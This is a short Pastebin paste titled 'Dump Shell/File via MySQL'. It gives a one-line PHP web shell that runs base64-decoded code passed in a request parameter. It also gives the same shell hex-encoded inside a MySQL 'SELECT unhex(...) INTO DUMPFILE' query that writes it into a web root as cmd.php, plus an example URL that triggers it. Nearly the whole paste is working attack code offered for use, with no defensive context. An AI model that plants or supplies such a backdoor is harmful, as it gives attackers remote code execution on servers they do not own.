SHARE
TWEET

Dump Shell/File via MySQL

Mayur_Pipaliya Mar 4th, 2012 152 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ## To DUMP Shell via MySQL Query. ##
  2.  
  3. # PHP Code Containing Shell
  4. <?php  if($_REQUEST['VBSE0'] != null) eval(base64_decode($_REQUEST['VBSE0'])); ?>
  5.  
  6. # MySQL Query to DUMP Shell in PATH '/var/www/html/cmd.php'
  7. # For Windows, it should be 'c:/xampp/htdocs/cmd.php' or equivalent.
  8. -- QUERY --
  9.  
  10. SELECT unhex('3c3f7068702020696628245f524551554553545b275642534530275d20213d206e756c6c29206576616c286261736536345f6465636f646528245f524551554553545b275642534530275d29293b203f3e') INTO DUMPFILE '/var/www/html/cmd.php';
  11.  
  12. -- QUERY --
  13.  
  14. ## example : http://localhost/cmd.php?VBSE0=ZWNobyAnSGVsbG8gV29ybGQnOw==
RAW Paste Data
Pastebin PRO Summer Special!
Get 40% OFF on Pastebin PRO accounts!
Top